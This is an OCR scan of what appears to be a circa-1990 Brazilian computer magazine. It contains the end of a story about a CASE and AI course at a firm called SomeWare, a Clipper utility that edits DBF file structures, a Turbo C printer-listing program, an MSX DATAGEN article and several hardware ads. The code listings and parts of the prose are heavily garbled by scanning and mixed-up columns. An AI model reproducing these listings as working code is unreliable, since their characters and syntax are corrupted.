mais acurado para cada novo projeto,
num processo que vai se aprimorando
pouco a pouco. Acaba aparecendo um
“'especialista em chutes”.

- Se a Zelda estivesse aqui, certa-
mente iria falar alguma coisa sobre o
Falcdo, lembrou Delamarte.

- Bem. Figuemos por aqui. Ama-
nha falaremos sobre as diversas ferra-
mentas CASE.

* X ¥

O instrutor chegou cedo. Tinha que
preparar 0 microcomputador que a So-
meWare ja tinha na sala de reunides,
de forma a sediar alguns dos softwa-
res de CASE que havia trazido. Deixou
um retroprojetor preparado com uma
transparéncia onde se lia apenas
“CASE", em letras garrafais que ele
mesmo havia confeccionado, para in-
cutir a sigla visualmente nas mentes
dos alunos. Quando todos entraram
e se sentaram, acendeu a ldmpada do
retroprojetor. A conversa foi diminuindo
rapidamente e ele perguntou:

- Algum de vocés sabe o que é ou
para que serve isto?

As tentativas de resposta foram mais
ou menos desta ordem:

- Uma técnica de casar informacoes,
disparou Delamarte.

- Qualquer coisa roméntica, suspi-
rou Zelda.



Alberto tentou cochichar a Baric-
celli, a seu lado, perguntando o que
diabos poderia ser aquilo. Este tltimo,
ainda com seu “lanchinho” de uma
pizza grande com refrigerante consu-
mindo boa parte de seu metabolismo,
limitou-se a emitir um grunhido.

Charles, vendo que ninguém mais
arriscaria um palpite, sentenciou:

- Isto é C.A.S.E. ou “Computer Ai-
ded Software Engeneering”.

Incrivel, pensou o instrutor. Pelo
visto ninguém quis acreditar nelel

- Realmente, ensinou, CASE ndo
tem nada a ver com o verbo “‘casar”.
Trata-se de uma sigla ja adotada
mundialmente, advinda das iniciais
do termo em inglés ‘““Computer
Aided Software Engeneering”, que sig-
nifica, em primeira instancia, “enge-
nharia de sistemas auxiliada por com-
putador”,

A palavra “‘advinda’ ficou dancan
do na cabeca de Zelda, que néo se con-
teve:

- Todos os dias o professor fala
em magia, adivinhos... Cada vez mais
me convenco que este negoécio de
cérebro eletronico tem qualquer parte
com o canhoto! E por falar nisto, mi-
nha astrologa disse...

- Ta bem! Ta bem! (O instrutor es-
tava comecando a achar que as coi-
sas iriam por agua abaixo...) As ferra-
mentas de CASE s3o, como o Mosai-
co | e o ATK, basicamente, solucdes
automatizadas de analise e projeto
estruturado de sistemas, visando au-
mentar a produtividade dos profissio-
nais da area. Ja existem ferramentas
sofisticadas de CASE, altamente
especializadas, que diminuem o traba-
lho de programadores, analistas e
de engenheiros de sistemas, bem
como de executivos de todos os
niveis e para empresas de todas as
envergaduras, formas e estruturas.
Elas provéem meios para ajudar no
planejamento nas corporaces; supor-
tam analistas de sistemas em suas ta-
refas de projeto e documentacéo;
automatizam a codificagdo tediosa das
rotinas mais comuns em programas.
As ferramentas CASE representam
uma filosofia simples para a modela-
gem de negécios, suas atividades e de-
senvolvimento de sistemas de infor-
macao.

E foi por ai. Falou dos trés tipos de
CASE: dos UpperCASE (trocadilho em
inglés que significa letra maidscula)
para projetos de corporacdes, dos Mid-
dleCASE, para andlises de sistemas e
dos LowerCASE (novo trocadilho, para
minusculas), voltados para a geracéo
automdatica de codigos-fonte de pro-
gramas.

¥* *E®

Este seria seu-ultimo dia proferindo
palestras para 130 heterogénea platéia.
A tarde estava ensolarada e, apesar
disto, ndo estava quente. A SomeWare
funcionava numa casa cujo terreno
chegava até a praia, de onde vinha
fresca brisa. "/Até que seria gostoso
trabalhar aqui”, pensou o instrutor, pas-

- Boa idéia! Posso ficar aqui no bar-
quinho?

- Claro, Zelda. VVamos aproveitar esta
tarde bonita, quando nos sentimos tdo
bem, para nos lembrarmos de Descar-
tes, que disse: “‘Penso, logo existo”.
Se nos esquecermos de tudo o que
ja foi dito sobre nossa condicéo hu-
mana e de nosso privilégio sobre toda
a Criacdo, podemos nos perguntar, por
exemplo, em que nossa mente difere
da daquele cachorro que esté ali.

Todos olharam para o canil que a
SomeWare mantinha.

- Pode ser muito confortéavel dizer
que ele ndo raciocina ou que é movido
por instintos. Acontece que instintos

da vez mais me convengo que esfe
negocio de cérebro eletrénico fem
qualquer parte com o canhofo!

seando pelo gramado préximo ao cais,
onde um pequeno doéri, atracado, ba-
lancava mansamente. Nele estava
Zelda.

- 0l4, professor! Que dia bonito, ndo

é?

- Boa tarde, Zelda. Onde estdo os
outros?

- Alberto e Baricceli estdo por ai;
o Charles foi levar Delamarte ao
Detran, para tirar carteira de moto-
rista; Edu e Fred tém prova na facul-
dade hoje e o patrdo esta em S&o
Paulo. Assim, estou aqui, aprovei-
tando o solzinho, com o “sem-fio”
para o caso de algum cliente telefo
nar...

Olhal L4 vém Beto e Bari.

- Boa tarde, professor!

- Ciau, maestro!

- Boa tarde, Alberto, Bariccelli. Que
tal ficarmos por aqui mesmo e conver-
sarmos, como 0s antigos gregos, so-

bre LA.?

- “Inteligéncia Artificial”, nédo é7,
sintonizou-se Alberto.

nés, humanos, também temos, ape-
sar de segui-los menos vezes do que
deveriamos. A inteligéncia nos faz
aprender coisas novas, da mesma ma-
neira que o cachorro aprende a cuidar
daqui, a trazer o jornal que jogam de
madrugada e outras coisas assim.

Até Zelda estava pensativa.
Observando-a assim, flutuando buco-
lica no déri, o instrutor percebia-a
como outra pessoa e sentia-se con-
tente por estar ali.

- E um computador, professor?, per-
guntou Alberto. Ele ndo tem instintos,
ndo raciocina... S6 obedece ao pro-
grama que nos escrevemos e carrega-
mos nele.

- E se o encararmos de outra ma-
neira? Se o programa for capaz de,
além de tomar decisdes, inferir, arma-
zenar dados e, mais ainda, aprender?
Qual é o processo do aprendizado?
Como um ente inteligente deve se por-
tar ao se defrontar com situacdes no-
vas? Hé algum tempo os pesquisado-
res buscam linguagens e/ou algoritmos
que possam, no minimo, simular um
comportamento inteligente. Surgiram
linguagens como o LISP, o Forth, o
Prolog... Os investimentos no campo
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das Redes Neuronais sdo cada vez mais

pesados... O que se busca é uma ma-

neira de se ter uma maquina capaz de

reagir “humanamente” a situagtes inu-

sitadas, inesperadas. Ainda existe
" muito chéo pela frente mas...

Charles havia chegédo com um De-
lamarte muito alegre.

- Boa tarde, Delamarte. Pelo seu ar,
termos um novo motorista nas ruas.
Meus parabéns!

Enquanto Delamarte falava de sua
vitéria, Zelda foi preparar um lanche
e Charles aproveitou para se inteirar
do assunto da aula. Quando estavam
todos reunidos novamente, chegaram
os dois estagidrios, a quem colocaram
a par do assunto. Zelda desceu com
sucos e biscoitos, improvisando uma
mesa sobre a amurada do c?is.

- Agora que a familia esta toda reu-
nida, que tal um lanche?

- Professor (Charles estava interes-
sado em que a aula fosse reiniciada),
ndo é demais querer um “computador
pensante”? Veja este assunto de redes
neuronais: se minha mente fosse sim-
ples o suficiente para gue eu a enten-
desse, ndo a entenderia.

- Basta que entendamos o suficiente
para o nosso propésito, ou seja: uma
maquina cujo comportamento possa
ser comparado ao de um ser humano.
Na mesma medida em que voce pode
usar linguagens tradicionais como Ba-

sic, Pascal ou C e fazer programas com
um comportamento inteligente,
quanto mais vocé se valer das ferra-
mentas certas, mais facilmente atinge
o comportamento desejado, com me-
nos esforgo de programagdo.

- Que tipo de programa pode ter um
comportamento considerado inteli-
gente?, quis saber Alberto.

- N3o é propriamente o “tipo” do
programa.. Trata-se das suas reacdes
ao mundo extemno, as perguntas de seu
usuario. Como regra geral, um bom

minhavam para a sede da SomeWare,
envolvidos por um crepisculo majes-
toso.

Nenhuma das pessoas queria se
despedir... quando chegou o presi-
dente da empresa.

Ele sabia que o comportamento de
seus empregados havia mudado com
o aparecimento do instrutor. Percebia
que a renovagdo que ele gostaria de
imprimir a sua equipe precisaria de algo
mais gue uma mera série de palestras
e sim, talvez, um investimento conti-
nuado nas técnicas de Ultima geragdo.
Afinal, sua empresa vivia distol

teste seria rodar o programa num com-

putador em uma sala e, em outra, co-
locar um usuério com um terminal li-
gado ao computador onde esté o
programa. Caso o usuério ndo saiba
precisar se esta “falando” com um pro-
grama, ou se € um outro ser humano
que responde ao que ele pergunta,
entdo o comportamento do programa
é dito inteligente. Hoje se da muita én-
fase aos Sistemas Especialistas, que
sHo sistemas baseados na recuperagéo
de informacgdes que residem em arqui-
vos ditos ‘‘bases de conhecimento”,
onde existern dados e correlagdes en-
tre eles. O programa, entdo, usa regras
para encontrar a informagéo que o
usudrio precisa a respeito do assunto
sobre o qual versa o sistema.

O instrutor passou o resto da tarde
discorrendo sobre as diversas experi-
éncias mundiais na area, até que che-
gou o momento de dar por encerrada
sua série de palestras. Foram conver-
sando mais um pouco, enquanto ca-

- Que tal fazer parte de nossa fa-
milia?, propds.

- N&o vejo a hora...

- Pois muito bem. A partir de
segunda-feira construiremos um novo
bangal6, perto do cais, onde inaugu-
raremos o novo departamento da So-
meWare. Quem sabe possamos che-
gar, até, a oferecer cursos para nossos
clientes?

- Bem que minha astréloga faloul...
[
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télica de Brasflia. E consultor em Comu-
nicagio de Dados da Telebrds e presta
consultoria 4 Hondutel em Honduras.

MSX é SOFT SUL.

HARDWARES

Drives DDX

Megaram disk (256 Kb,
512 Kb e 768 Kb)
Impressora Lady 80
Monitores

Expansor de slots

Kit transformagéo 2.0
instalado em 24 horas
Modem DDX

SUPRIMENTOS

Disketes Nashua 574 e 312
Formulario 80C
Livros

SOFTS

Jogos e aplicativos, o maior
acervo do Brasil, sempre

Todos os equipamenios
com selo MSX, tém
garantia de 12 meses.

com as ultimas novidades.

PACOTAO JOGOS

(100 jogos + 5 aplicativos
+ 12 discos).

MINI PACOTAO

|

0

alll
iy

pret]
U |
|

b

il

e
\

(50 jogos + 5 discos)

SOLICITE NOSSO
CATALOGO COMPLETO
INTEIRAMENTE GRATIS.

SOFT SUL PR

Av. 7 de Setembro, 3146 - Loja 20
Tel. (041) 232-0399 e 232-0453
CEP 80230 ot
CURITIBA - PARANA




A CHANCELLER, empresa atuante em diversos setores da eletrdnica,
dispde hoje de uma nova geragdo de EQUIFAMENTOS, bem como, a
prestagdo de servigos e manutengdo nas areas de:

TELECOMUNICAGCSES IMFORMATICA

#* Estudios * Micros

¥ Transmissores * Impressoras
* Geradores * Terminais

*® EoPL * Drivers

— Consultoria de instal ag3o de AMRIENTES de Informatica.
- Instalagdo e Frojetos de Estudios e Integrag3o de sua
Estag3o com a Informatica.

A CHANCELLER coloca & sua disposig3o a mais alta Técnologia,
incluindo orientag3o precisa na hora da escolha do EGUIFAMENTO,
redugdo de custos para Implantag3o e ainda a f@inica Assisténcia
Técnica que garante um atendimento FERSONALIZADO, custo baixo e
& BGARANTIA de grande estoque de pegas e componentes.

ESPECIALIZADA EM MICROCOMPUTADORES
E PERIFERICOS

Rua Souto, 343 Loja B — CASCADURA —Rio de Janeiro — RJ
‘Tel. (021) 593-2226 — CEP. Zi311
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= Facilite a alteracdo de arquivos DBF
site
“mu

Micro: IBM PC /[ XT
Memoéria: 512 Kbytes

Um arquivo DBF

Linguagem: Clipper

lamr

ten
Me

| \a mOda da Casa Requisitos: Nenhum

vite
e (
do
toc

ag

f:é U Marcos Roberto Santello e Pro grama: MSTBUG.PRG

Um problema corriqueiro que cos- ERERLRRRRAR LS R KRR LIS K2 A
. 3 * Programa:Mstruc.prg
nic tuma acontecer sempre que precisa- *
mOS aiterar a eStl'UtUl'a de um afCIUiVD : Funcao..!fAltera a estrutura de um arguivo DEF.
DBF é a necessidade de recorrermos * Autor...:Marcos R. Santello .
sal a uma copia do dBase. Por conta set esca on ) :
nd disso precisamos recorrer aos dois dis | 55 =cer off
pe quetes contendo todo o software, o mens = °
- - do whil .t.
ne que, convenhamos, € um bocado in- e —ire
ple & 07, 20 to 13, 70
== —arg = spac (08)
de é 0;; 23 say “Modifica extrutura do Arquivo DEF”
2 11, 30 say “Nome do Arguivo: ® get z_arg
read
*
if empty(z_arqg) .or. lastkeyt() == 27
pa clea scre &% Verif. s= continua ou termina o programa.
mi _Exit
endi
sel *
v_arg = [%z_arg..dbfl
Ne if 1filefv_arg)
us I IO ‘ @ 24, 30 say “Arquivo nao encontrado 117
inkey (Q)
loop
endi
I I l l ‘ 7 *
OSSO O O use &z_arg &% Abre o arguivo
z_ncamp = O

z_cond = .t.
*

z_ncamp = fcount () %% Dbtem numero de Campo dos arguivos.

*
' ele I OI I( l el I I decl z_camposlz_ncamp+501,z_tipolz_ncamp+S501,z_tamlz_ncamp+50]1,z_declz_ncamp+35Q1]

*
afields{z_campos,z_tipo,z._tam,z_dec) &% Obtem descricac de cada campo.
= | linha 1
| Z_soma Q
® | z_tecla 0
® z_opc = spac(01)
clea scre
»*
for a = 1 to z_ncamp %% Transforma todos campos p/tamanho de 10 bytes.
z_camposlal = z_camposlal + spac(l0-leni{z_campeslal}))

next
| *
= i set colo to I
B 24, 01 say repll’® *,79)

[}

@ 01, S5 say ‘Para cancelar operacac’
2 02, &2 say ‘tecle <{Esc>’
set colo to

for a = 1 to z_ncamp &% Fica no laco ate o fim do arquivo.
@ 01, 01 to 1linha+2, S50
& 01, 02 say ‘Nome Tipo Tamanho Decimais -~

linha = linha + 1
@ linha s 02 get z_camposlal pict "@!”
@ 1linha s 15 get z_tipolLal pict "I wvalid{z_tipolfal % "CNDLM")

[ ]
tamanho = z_tamlal
@ linha » 20 get tamanho pict 999" wvalid tipo_ci{@tamanho)
S E iiemas 2 1inha s 30 get z_declal pict 9997 valid tipo_c2()
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céomodo, além de ser eventualmente
ilegal. Para resolver este problema de-
senvolvi o programa que se segue,
utilizando os recursos da linguagem
Clipper.

COMO FUNCIONA

O funcionamento do programa &
semelhante ao Modify Structure do
dBase 1ll. Os campos serdo editados
com seu nome, tipo, tamanho e de-
cimais. Sempre que terminar a edicdo
do campo, aparecera na linha inferior
da tela uma mensagem perguntando
se desejamos incluir ou excluir o cam
po corrente. Se for teclado I, sera in-
cluido um campo logo ap6s o campo
corrente. Caso seja teclado E, sera
excluido o campo corrente. Para can-
celar a operacéo basta teclar ESC.

Atencdo: da mesma maneira que
o Modify Structure, s6 os campos
que continuarem com 0 Mesmo nome
serdo salvos com o seu conteldo;
campos Novos ou com home alterado
ficam vazios dentro do arquivo.

No programa ja é feita a consistén-
cia da entrada do tipo de campo per-
mitido. Fica, como sugestdo, o apri-
moramento das consisténcias do
programa, ndo deixando entrar cam-
pos iguais, caracteres invalidos, etc.

Para link-editar o programa utilize
a biblioteca “EXTEND.LIB", Por exem-
plo:

C:/CLIPPER/CLIPPER MSTRUC
C:/CLIPPER/TLINK
MSTRUC,, CLIPPER EXTEND/x

QOu entéo:

C:/CLIPPER/PLINKS86 FILE MSTRUC
LIB CLIPPER.EXTEND

MARCOS ROBERTO SANTELLO e Pro
gramador Analista, desenvolvendo Siste-
mas de Informacdo de Linguagem Clip-
per, Cobol, Quickbasic e dBase Il Plus.

W

read
z_tamLal = tamanho
*
if lastkeyi() == 27
clea scre=
use
@ 11, S0 say ‘Operacao cancela
canc
endi
*
z_soma = z_soma + z_tamlal
if linha »>= 22
linha = linha + 1
@ linha+l, 03
inkey (Q)

set colo toe
clea scre
@ 01, 01 te 03, SO
g 01, 02 say "Nome
linha = 1

endi :

*

Tipo

1117 &% Canc. o programa se for
%% teclada a tecla Esc.

say “Tecle gualguer tecla p/continuar’

Tamanho Decimais’

if mcampt@z_ncamp,@a,@iinha,@:_Enma)

z_camposfa+l]l = spaci{ld)
z_tipola+il] = spaci0l)}
=_tamfa+11] = 0
z_decla+1] = 0
loop

endi

@ linpha+l, 01 clea to linhat+l, 50
next
@ linha+iy 01 say replichr(195),350)
*

if lastkey() == 27
clea scre
use .
@ 11, 30 say ‘Operacao cancela
canc
endi

*

##% Cria nova estrutura fEeketexs
*

create argtmpl

use argtmpl

@2 24, 01 say spac(79)

for a = 1 to Z_ncamp

111° %% Canc. o programa se for
%% teclada a tecla Esc.

& 24, 0S5 say “Aguarde, criando nova estrutura...’

appe blan
repl field_nam= with
repl field_type with

z_camposlal
z_tipolfal

repl field_len with =z_tamCal
repl field_dee with =_decCal
if inkey () == 27
z_tecla = 2,
endi
next
*
if z_tecla == 27
clea scre
use
@ 11, 30 say ‘Operacao cancela
canc
endi

*
@ 24, 05 say

crea argtmp2 from argtmpl bt
clos data

use argtmp2

appe from %z_arg Bl
clos data Bl
dele file &z_arqg..dbf Ry
rena argtmpZ.dbf to %z _arg..dbf Lk
dele file argtmpl..dbf 8ol

2 24, 05 say spac({30)
use &z _arg
*

linha = linha + 1

%% Cria estrutura com nome dos Campos.

111" %% Canc. o programa se for
%% teclada a tecla Esc.

“fAguarde, salvando os registros...

Cria nova estrutura.

Salva os registros com campos do mesmo
NOME.

Apaga antigo Dbf.

Renomeia o novo arguive o/o nome de orice
Exclui arguivo temporario.

% soma 1 byte do flag d= excluido ou naoc

z_soma = z_soma + 1

| set colo to I

linhatl, 01 say ‘Fim de Estrura !~
linha+1l, 17 say ‘Argiiz_arq !~
linha+l, 31 say “Tam.do Registro 1~

linha+l, S5 say ’‘N.de Registros !~

%% Mostra caracteristicas do arguive.

+ stri{z_soma,4)

+ strirecct(),4)

HARDWARE

CANAL TRE

= pc xt/at « msx expert hotbit
* drives p/ msx e pc = kit 2.0+
® megaram e memory mapper

video

informatica
SOFTWARE

= linha pc xt/at

* [inha msx, msx2, megarom

e linha tk 90/95

FONE (011) 856-9647
CLUBES

= msx clube: vantagens aos
nossos associados

* video game nintendo

= modem e multiface one
* amiga e periféricos

= cartuchos video game
® impressoras etc.

MSX
TK-Z X SPECTRUM
NINTENDO

PC XT/AT

Ao solicitar catalogo,
especifique seu micro.

= ngc- nintendo game clube, com locagdo
de cartuchos compativeis com:
- phantom system - dynavision Il
- bit system - super game cce -
- ninfz2ndo - family computer - etc.

PRACA BENEDITO CALIXTO, 66 - PINHEIROS - CEP 05406 - SAO PAULO - SP




wait
use
set colo to
endd
canc

EEFRREEREERE R EE

func mcamp

HEEFFFAFRAE LR EF

param z_ncamps asy linhka, z_soma

Z_opc = spaci{oil)

set colo to 1

B 24, 01 say repl{” “,79)

@ 24, OB say ‘LIlnclui novo campe / [EJxclui campo corrente /S [Enter] continua”
get z_opc pict ‘17 walidi(z_opc & "IE 7)

. read
set colo to
if Z_opc == ‘I % Inclui campos
Z_ncamp = z_ncamp + 1
ainsi{z_campos,a+l)
ains{z_tipoya+l}
ains (z_tam,a+1)
ains{z_decs.a+l)
retu .t.
endi
if z_opc == FE &% Excluil campos
z_ncamp = z_ncamp — 1
Z_soma = z_soma — z_tamlal
adel {z_campos, a)
adel (z_tipm,a)
adel (z_tam,a)
adel (z_dec,a)
a=a-1
linha = linha = 1
endi
retu . f.
FREEE LR R AR
func tipo_c
EREEEEEEREERR

*# Consiste a entrada dos campos.
para tamanho
set colo to I
B 24, (Ol say spac(7%)
if strzero(tamanho,3) < 001~
tone (B00,3)
tone {500, 3)
& 24, 20 =ay “Tamanho do campo nao pode ser zero’
inkey (0)
retu .f.
endi
if z_tipolal == 'C’ .and. stri{tamanhoc:3) > “254°
tone (BOO, 3)
tone (SO0, 3)
& 24, 20 say ‘Campo caracter e no maximo 258 caracteres |°

inkey (0)
retu .+
endi

if z_tipofal == "N’ .and. strzero(tamanho,3) > “019°
tone (BOO, 3)
tone (S00,3)
& 24, 20 say ‘Campo numerico o maximo & 19 caracteres 1°
inkey (Q)
retu .f.
endi
if z_tipelal == “L° .and. strzeroltamanho,3) > “001°
tone (BO0,3)
tone (500, 3)
@ 24, 20 say ‘Campo logico e de 1 caracter !
inkey (0)
tamanho = 1
retu .f.
endi
if z_tipofal == "M’ .and. strzero(tamanho.:3) != "010°
tone (300, 3)
tone (500, 3
@ 24, 20 say ‘Campo tipo Memo e de 10 caracteres i
inkey (O}
tamanho = 10
retu .f.
endi
if z_tipolfal == ‘D _and. strzeroc(tamanho.3) = “008°
tone (800, 3)
tone (S00,3)
B 24, 20 cay ‘Campo tipo Data e de 8 caracteres 1
inkey (0}
tamanho = B
retu .f.
endi
retu .t.

EEEEEEFEER A

func tipo.cZ2

REEEEFERE R

if z_tipoial != ‘N7 .and. strzeroilz_declfal,3} > ‘0007
tone (BOOQ, 3)
tone {300, 3)
@ 24, 20 say ‘Campo decimal so para campe numerica !

inkey (O}
retu . f.
endi

retu .t.

* Fim do programa Mstruc.pra
¥ B
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Transforma seu MSX1 em uma estacio
gréfica de pequeno porte. As principais
— 80 colunas ja incorporado
(mesmopela TV)
— Numero de Screen até 8
— Resolugiio de pontos de 512 x 424 ¢

16 cores de 512 combinacbes possiveis.

{modo entrelacio} = . :
— Resoluciio de cores simultineas 256. — CARTUCHO II-MEGARAM:
Cada ponto pode assumir uma cor. 0

— Scroll fino no sentido vertical. Permite rodar os joges tipo Megarom
(A movimentacdo no sentido vertical das grava em disquetes. 540 jogos
telas graficas se faz linha por linha. de grande qualidade gréfica e
— Basic mais poderoso vérios niveis de dificuldade.

(ROM passa para 48 KBytes) Aproximadamente 80 jogos
— Turbo-Basic j4 incorporado para MSX1 e MSX2.

- (acelera até seis vézes : : % :
0 processamento de :

; mas em Basic. — Mega-Mapper:
T T
— Relégio interno (conta {interna). Expande a RAM do ususrio
hora e data mesmo para 256 KBytes podendo chegar

5 até a 4 MBytes, Ideal para os
programas ukilitarios Europeus e
jogos de Gltima geraco.

- mantido a bateria}
- Expansao de
‘Slot interna.

(4 sub-slots)

—Kit 2.0+ :

Aprimoramento do Kit 2.0.
Passa a trabalhar com
19.268 chres simultineas.

O niimero de screens passa
para 12. Scroll fino tanto
na horizontal quanto na
vertical. ROM do Basic
vai para 64 KBytes,
onde esto os novos comandas.
Jogos de altissima
 qualidade gréfica.
Junto com o cartucho

: e s ; _ FM-PAC e o digitalizador
; s | : = ~ daSomysetornao -
; - : computador mais moderno .

» = da linha,

RUA LUCIDIO LAGO, 126/503
MEIER - RIO DE JANEIRO
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Melhore a impressdo de seus arquivos ASCII

PC

Uma listagem
em boa forma

U Laudemir Aparecido de Oliveira

O programa gue apresentamos a se-
guir € um pequeno utilitario para im-
pressdo formatada de seus programas-
-fonte escritos em ASCII, tais como
*C, *.PRG, etc. Uma das convenién-
cias deste programinha é a possibili-
dade de saltar o inconveniente picote
do formulério.

O programa é bastante simples de
usar. Sua sintaxe é LIST <prg.ascii >
onde < prg. ascii> &, naturalmente,
o nome do arquivo ASCI| a ser copiado
na impressora.

CARACTERISTICAS PRINCIPAIS

A impress3o é feita em 120 colu-
nas, sem numeracdo de linha e pagi
na. Para meu proprio uso julguei estes

O programa foi compilado em
TURBO C, versdo 1.5, e a principal ro-
tina é explicada a seguir:

%include <BIOS.h>
biosprintlint cmd, int byte, int port)

Observe que se cmd € 0, imprime
o caracter em byte; 1 inicializa a porta
de impressdo e 2 retorna o status da
porta.

Foi usado no programa o valor hexa
90h (0x90 em C), para testar se a im-
pressora que foi selecionada esta
pronta.

Micro: IBM PC /[ XT
Memoria: 512 Kbytes
Video: CGA
Linguagem: Turbo C

Requisitos: Impressora

MESAGENS DE ERRO

Caso ndo seja informado nome do
arquivo para impressdo, € mostrado na
tela um pegueno HELP.

Existem mensagens de erro também
para os casos de o arquivo especificado
ndo ser encontrado e quando a impres-
sora estiver desligada.

Boa sorte, e espero que este pro-
grama lhe cause uma boa impressao.

LAUDEMIR APARECIDO DE OLIVEIRA
é Técnico em Telecomunicacdes e traba-
Iha atualmente na Embratel de Londrina.
Possui conhecimentos basicos da lingua
gem C, Assembler 8088/86 e Clipper.

status ratornado:

o : { MSBE ) ( LSB )
detalhes desnecesséarios, mas o usua- T B e ey
rio podera implementéa-los, se desejar, T i _
efetuando modificacdes minimas no LF bt I I e > Erro de temporizacHo

E i i i H T e > NEo wutilizado
programa. i T G e e > Erro da I/0
Na parte superior da primeira pagi R > Imprassora salsacionada
na sfo impressos, em caracteres ex- Lo o b i e A > Enrouda faltaideipans I
s e e > Confirmac8o de bykte racebido

pandidos, o nome do arquivo e a data ) Sl SR ag e =
e hora do sistema. Este procedimento
visa facilitar o arguivamento das lis
tagens.

Imprassora pronta

Byte de estado da impressora

ALTA TECNOLOGIA EM MANUTENCAO DE COMPUTADORES

: PC XT/AT 286 386 Rua da Lapa, 180 Gr. 1201
RIMA - ELEBRA NACIONAIS E Rio de Janeiro-RJ
GRAFIX IMPORTADOS Tels.: (021)235-5036 - 232-9669

LABORATORIOS SUPER EQUIPADOS E PROFISSIONAIS TREINADOS NAS FABRICAS
ASSISTENCIA TECNICA PROFISSIONAL EM TODO O BRASIL




e Programa: LIST.C

‘18 : bivsprint(@,'\n', PIRT; /% pula duas linhas £
bigsprinti8, '\n',PORT);
Programa - LIST.C
autor - Laudeair Aparecido de Oliveira while [(ch=getcifp}!=E0F) /% la ate o final do arquive %/
data - @2/11/90 sexta-feira i
if (ch=="\n'} it#; /% verifica se 2" new-line @ incrementa var. i */
3 if (i35
{
Einclude {stdio.h) =
tincluds {tise.h} biosprint{@, '\F*,PORTY:  /* sa imprimiu 55 linhas pula pag. 3/
#include <bios.h} ]
tdafina PORT 8 putchar (chi; /% imprime o caracter na tala ¢/
5 bicserint {9, ch,@); /% imprime o caracter na impresssora 4/
void impstri)s H
char *help = ]
“\nPrograss LIST versao Z.@\n\n"
"eo ;1 list {nomedin® alse
“{nome) : arquivo ASCII a imprimir\n\n®;
i
striact ta Ypbr;y Printfi*\nErro: verifique a impressora.dc\n®, 8@7);
time £ Its axitilly
3
gin{xg;,wl biosprink (@, ‘\f',PORT); /% pula pagina */
int arecy biosprint (@,n,PORT]s
char *argvil; frlosa(fpls
P
FILE #fp;
- int oy
int €213, n=18, e=lds %% cecomprinido nenormal e=expandide ¥/ i
int i=8

[ Funcao impstr (char *s}
1h=tine(Mil); ! imprine =3 string s maiuwscula
phrelocaltima(kit);

*

if larged?) 3 void impstr(s)
' {d\ar s /% pontairo para cadeia da caracteres ¥/
printf{*is", halp}; " whila(#s)
axitills {
) biosprint (8, touper (4}, PORTI /% imprime cadeia es maivsrula 3/
: sy ¥ proxiss byta 4/
if {!{fp=fopeniargvill, "r*))} b

}
i
Printf ("\nErroz nac posso abrir o arquive.ic\n®,&d7);
exitilly

53]
[ _if {biosprint (2,8, PIRTI =898}
¢

biosprint(8,e,PORT) s /% manda caracter de expandido para impressora ¥/
impstr (*PROGRAMA *);

impstriargviills /% imprime nome do arquivo ascii ¥/
biosprint(8,c, PORT) s

impstri® - ")

impstriasctime(pbri}s /% imprime data e hora do sistesa

biosprint (8, c,PORT; /% imprise comerimido - 120 columas ¥/

_ INFORMATICA SENIOR SOFT

JOGOS PARA PC XT/AT INCRIVEL NOVIDADE

Barbarian (luta) Tecnocop Jogos otiginais importados
Bob Wrestle _(h;ta livre) Ttés patetas com manuais na embalagem
Rock Billiar Demon Stalker Vocé ndo precisa mais comprar

Soccer (futebol) E.15 II (sim. combate) o B o
Sokoban (inteligéncia) Fred Krugger L.
Spy x Spy Laker x Seltcs (basquete) Ligue e informe-se.

Rambo III Budocan (lutas marciais) Yenda e joy:stick SN
World Games Out Run = p/ PC =
1 ‘Cada progama: Cr$1000,00. Cada programa: Cr$1.500,00

Enviar cheque nominal 2 ROGERIO GAGLIARDI no seguinte endereco:
Rua Nachie, 97 - Sdo Paulo - Fone: (011) 914-0676 - SP - CEP 03129




PROGRAMA

Agilize 0 uso de rotinas LM em programas Basic

DATAGEN:

Linhas DATA instantaneas

'O Ariel -Callegario Gomes

E muito comum desenvolver rotinas em
linguagem de maquina para serem usadas
num programa em Basic no MSX. A ma-
jor dificuldade encontrada (depois de se
escrever a rotina, é clarol) é passé-la para
o programa Basic. E comum gravar a ro-
tina em separado e carregé-la do Basic,
s6 que isso prejudica a portabilidade do
programa e aumenta o tempo de espera
para os usudrios da fita cassete.

O melhor (e mais comum) procedi-
mento é colocar a rotina em linhas DATA,
de onde & possivel POKE&-la para a me-
moéria. Dificil é colocar os cédigos nas li-
nhas, pois é preciso copié-los de alguma
“debugagem’’ da rotina. No entanto, o
computador pode fazer tudo isso sozinho,
e com a vantagem de n3o cometer erros!

O programa destas péginas faz exata-
mente isso. Dadas as posicdes inicial e fi-
nal (em hexadecimal) do bloco de memé-
ria onde esta a rotina, ele cria as linhas
DATA a partir do nimero 10 e com um in-
cremento de 10, colocando 50 codigos por
linha (em WIDTH 39 os cédigos ficam ar-
rumados em colunas, melhorando a apre-
sentagdo).

COMO PROCEDER

Digite e grave o programa carregador,
rodando-o em seguida. Ele ira gravar o pro-

grama em sua forma binaria. Para usé-lo,
primeiro carregue a rotina que sera passada
para as linhas DATA, ou entdo faca a as-
semblagem na meméria. E necessério sa-
ber o endereco inicial e final. Rode o DA-
TAGEN com:

BLOAD “DATAGEN.BIN“R.

Ele perguntard os enderegos e fara a
transferéncia. E possivel, entdo, renume-
rar as linhas e fazer o MERGE com o pro-
grama que devera conté-las.

Vocé pode alterar facilmente o nimero
da primeira linha e/ou do incremento. Em
ShD85E est4 o nimero da linha (LSB), e
em &hD860 o incremento (LSSB). O nd-
mero de cédigos por linha acha-se em
ghD7CA. Caso vocé mude esses
parametros, ndo se esqueca de regravar
o programa com BSAVE “DATA
GEN.BIN",&hD760,&hD8B6.

Como se vé, o programa estéa colocado
entre os enderecos &hD760 e &hD8B6.
Nzo se pode, portanto, passar um bloco
nesses enderecos, pois na prética se estard
passando o proprio DATAGEN. O jeito é
carregar ou assemblar a rotina com um of-
fset, e fazer a transferéncia usando os no-
vos enderecos.

O que o programa faz na realidade &
muito simples: primeiro recebe os endere-

Micro: MSX 1./ 2.
Memdria: 64 Kbytes-
Video: P&B / Color
Linguagem: Basic

Requisitos: Drive

os inicial e final, comparando-os para ver
se o inicial ndo é maior que o final. De-
pois, coloca na meméria, a partir do en-
derego &h8001, os codigos de inicio de li-
nha e da instrucdo DATA. A seguir pega
o primeiro cédigo da rotina, transforma-o
em uma string de dois caracteres, coloca-
-0 apés a instrugdo DATA, adiciona o c6-
digo de uma virgula e repete o processo,
pegando outro cédigo da rotina. Depois
de colocados 50 codigosé sfo inseridos
os codigos de final de programa.

A rotina que faz a transformac&o do na-
